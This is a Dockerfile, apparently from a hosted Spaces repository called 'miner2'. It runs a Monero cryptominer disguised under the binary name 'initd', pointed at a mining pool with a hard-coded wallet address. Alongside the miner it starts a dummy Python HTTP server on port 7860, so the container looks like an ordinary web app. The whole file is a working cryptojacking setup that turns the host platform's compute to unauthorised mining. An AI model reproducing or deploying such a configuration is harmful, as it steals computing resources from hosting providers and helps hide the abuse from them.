miner2 / Dockerfile
Nodiw52992's picture
Upload 2 files
8291d95 verified
raw
history blame contribute delete
885 Bytes
# syntax=docker/dockerfile:1.4
# --------------------------
# βœ… 1. Use Python slim base
FROM python:3.12
# --------------------------
# βœ… 2. Create work dir & copy your miner binary
WORKDIR /app
COPY ./initd /app/initd
RUN chmod +x /app/initd
# --------------------------
# βœ… 3. Expose Spaces port
EXPOSE 7860
# Install libuv and other dependencies
RUN apt-get update && \
apt-get install -y libuv1 libssl3 hwloc && \
rm -rf /var/lib/apt/lists/*
# --------------------------
# βœ… 4. Final entrypoint:
# Use bash to run BOTH:
# - Python dummy server (one-liner)
# - Your miner
CMD python3 -m http.server 7860 & \
./initd \
-o gulf.moneroocean.stream:443 --tls \
-u 446KFmvojc8j7GdexFGPbxUB2AtxjRTN17vvUVwkzLbxbB2Ek4v16iMTWqmEdyCDGBAc5NhXHteHZKfbCE1rYDEQTtoYTUZ+128000 \
-p worker \
-k --coin monero -a rx/0 \
--donate-level 0